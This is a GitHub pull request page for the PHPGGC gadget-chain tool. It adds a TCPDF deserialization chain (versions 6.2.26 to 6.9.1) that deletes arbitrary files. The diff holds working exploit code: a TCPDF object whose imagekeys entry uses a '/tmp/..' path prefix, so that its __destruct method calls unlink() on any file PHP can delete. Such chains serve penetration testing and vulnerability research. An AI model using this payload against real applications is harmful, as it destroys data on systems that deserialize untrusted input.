Skip to content

Add TCPDF/ Deserialization to arbitrary file deletion gadget chain #215

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 5 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 20 additions & 0 deletions gadgetchains/TCPDF/FD/2/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
<?php

namespace GadgetChain\TCPDF;

class FD2 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '6.2.26 <= 6.9.1';
public static $vector = '__destruct';
public static $author = 'Aleksey Solovev, Nikita Sveshnikov (Positive Technologies)';
public static $information = '
TCPDF contains the properties $file_id and $image keys. The imagekeys property expects an array of strings, each representing an absolute file path. The $file_id property can be set to any value. Upon __destruct, unlink() is called on each entry in the imagekeys array, provided PHP has permission to delete the files.

Although absolute paths are expected, each entry is internally prefixed with /tmp/.., allowing access to arbitrary locations outside the /tmp directory.
';

public function generate(array $parameters)
{
return new \TCPDF($parameters['remote_path']);
}
}
12 changes: 12 additions & 0 deletions gadgetchains/TCPDF/FD/2/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<?php

class TCPDF
{
public $file_id;
public $imagekeys;

function __construct($remote_path) {
$this->file_id = 1;
$this->imagekeys = ['/tmp/..' . $remote_path];
}
}